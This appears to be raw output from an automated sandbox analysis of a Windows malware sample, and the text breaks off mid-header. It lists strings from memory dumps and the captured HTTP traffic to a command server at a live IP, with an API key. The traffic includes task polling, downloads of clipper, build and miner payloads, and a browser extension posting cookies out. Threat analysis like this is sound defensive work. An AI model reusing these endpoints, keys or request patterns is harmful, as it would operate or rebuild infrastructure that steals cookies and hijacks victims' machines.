"/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hmac.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hmac.rs") in Source: file Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls12.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls12.rs") in Source: file Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls13.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls13.rs") in Source: file Observed string: "failed to parse private key as RSA, ECDSA, or EdDSA/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/sign.rs" (Indicator: "failed to parse private key as RSA, ECDSA, or EdDSA/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/sign.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/quic.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/quic.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls12.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls12.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls13.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/tls13.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/cipher.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/cipher.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hash.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hash.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hmac.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/hmac.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls12.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls12.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp Observed string: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls13.rs" (Indicator: "/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/tls13.rs") in Source: 00000000-00000700.00000000.194210.B5031000.00000002.mdmp30:Tc1f,Found string "failed to parse private key as RSA, ECDSA, or EdDSA/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/sign.rs" (Indicator: "private key"; File: "file") Found string "failed to parse ECDSA private key as PKCS#8 or SEC1" (Indicator: "private key"; File: "file") Found string "failed to parse RSA private key as either PKCS#1 or PKCS#8failed to parse RSA private key:" (Indicator: "private key"; File: "file") Found string "EcdsaSigningKeyEcdsaSignerfailed to parse Ed25519 private key:" (Indicator: "private key"; File: "file") Found string "invalid private key/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/client/hs.rs" (Indicator: "private key"; File: "file") Found string "-----END -----CERTIFICATEPUBLIC KEYRSA PRIVATE KEYPRIVATE KEYEC PRIVATE KEYX509 CRLCERTIFICATE REQUESTECHCONFIG" (Indicator: "private key"; File: "file") Found string "-----END -----CERTIFICATEPUBLIC KEYRSA PRIVATE KEYPRIVATE KEYEC PRIVATE KEYX509 CRLCERTIFICATE REQUESTECHCONFIG" (Indicator: "public key"; File: "file") Found string "Validation of public key failed." (Indicator: "public key"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") file/memory contains long string with (Indicator: "private key"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "The Software Licensing Service reported that the product could not be activated. The certificate cannot be used because its private key is exportable." (Indicator: "private key"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "failed to parse private key as RSA, ECDSA, or EdDSA/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.22.4/src/crypto/ring/sign.rs" (Indicator: "private key"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "failed to parse ECDSA private key as PKCS#8 or SEC1" (Indicator: "private key"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "failed to parse RSA private key as either PKCS#1 or PKCS#8failed to parse RSA private key:" (Indicator: "private key"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "EcdsaSigningKeyEcdsaSignerfailed to parse Ed25519 private key:" (Indicator: "private key"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "invalid private key/usr/local/cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rustls-0.21.12/src/client/hs.rs" (Indicator: "private key"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "-----END -----CERTIFICATEPUBLIC KEYRSA PRIVATE KEYPRIVATE KEYEC PRIVATE KEYX509 CRLCERTIFICATE REQUESTECHCONFIG" (Indicator: "private key"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "-----END -----CERTIFICATEPUBLIC KEYRSA PRIVATE KEYPRIVATE KEYEC PRIVATE KEYX509 CRLCERTIFICATE REQUESTECHCONFIG" (Indicator: "public key"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")31:T6aa0,Contains base64 string in header "POST" in header "POST /api/v1/checkin HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 507accept: */*host: 87.120.104.147:8080" Contains base64 string in header "type" in header "POST /api/v1/checkin HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 507accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "POST /api/v1/checkin HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 507accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "POST /api/v1/checkin HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 507accept: */*host: 87.120.104.147:8080" Contains base64 string in header "33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE" in header "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "GET /d/clip HTTP/1.1accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "GET /d/clip HTTP/1.1accept: */*host: 87.120.104.147:8080" Contains base64 string in header "POST" in header "POST /api/v1/agent/tasks/205792/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "type" in header "POST /api/v1/agent/tasks/205792/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "POST /api/v1/agent/tasks/205792/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "POST /api/v1/agent/tasks/205792/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "POST" in header "POST /api/v1/clipper/checkin HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "type" in header "POST /api/v1/clipper/checkin HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "hwid" in header "POST /api/v1/clipper/checkin HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "POST /api/v1/clipper/checkin HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "hwid" in header "GET /api/v1/clipper/config HTTP/1.1accept: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "GET /api/v1/clipper/config HTTP/1.1accept: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261host: 87.120.104.147:8080" Contains base64 string in header "POST" in header "POST /api/v1/clipper/ping HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "/api/v1/clipper/ping" in header "POST /api/v1/clipper/ping HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "type" in header "POST /api/v1/clipper/ping HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "hwid" in header "POST /api/v1/clipper/ping HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "POST /api/v1/clipper/ping HTTP/1.1accept: application/jsoncontent-type: application/jsonx-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6x-clipper-hwid: S-1-5-21-735145574-3570218355-1207367261content-length: 157host: 87.120.104.147:8080" Contains base64 string in header "/d/build" in header "GET /d/build HTTP/1.1accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "GET /d/build HTTP/1.1accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "GET /d/build HTTP/1.1accept: */*host: 87.120.104.147:8080" Contains base64 string in header "POST" in header "POST /api/v1/agent/tasks/205793/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "type" in header "POST /api/v1/agent/tasks/205793/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "POST /api/v1/agent/tasks/205793/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "POST /api/v1/agent/tasks/205793/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "/d/Miner" in header "GET /d/Miner HTTP/1.1accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "GET /d/Miner HTTP/1.1accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "GET /d/Miner HTTP/1.1accept: */*host: 87.120.104.147:8080" Contains base64 string in header "POST" in header "POST /api/v1/agent/tasks/205794/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "type" in header "POST /api/v1/agent/tasks/205794/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "POST /api/v1/agent/tasks/205794/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "POST /api/v1/agent/tasks/205794/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "POST" in header "POST /api/v1/agent/tasks/205795/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "type" in header "POST /api/v1/agent/tasks/205795/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "host" in header "POST /api/v1/agent/tasks/205795/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "8080" in header "POST /api/v1/agent/tasks/205795/ack HTTP/1.1x-api-key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6content-type: application/jsoncontent-length: 101accept: */*host: 87.120.104.147:8080" Contains base64 string in header "POST" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "keep" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "aliveContent" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "like" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "0Content" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Type" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "//hkaopoilcdlhchigljlbkjlehdiplmceAccept" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Encoding" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "gzip" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Language" in header "POST /api/v1/ext/extensions HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 239User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "POST" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "/api/v1/ext/ping" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "keep" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "aliveContent" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "like" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "0Content" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Type" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "//hkaopoilcdlhchigljlbkjlehdiplmceAccept" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Encoding" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "gzip" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Language" in header "POST /api/v1/ext/ping HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 326User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "POST" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 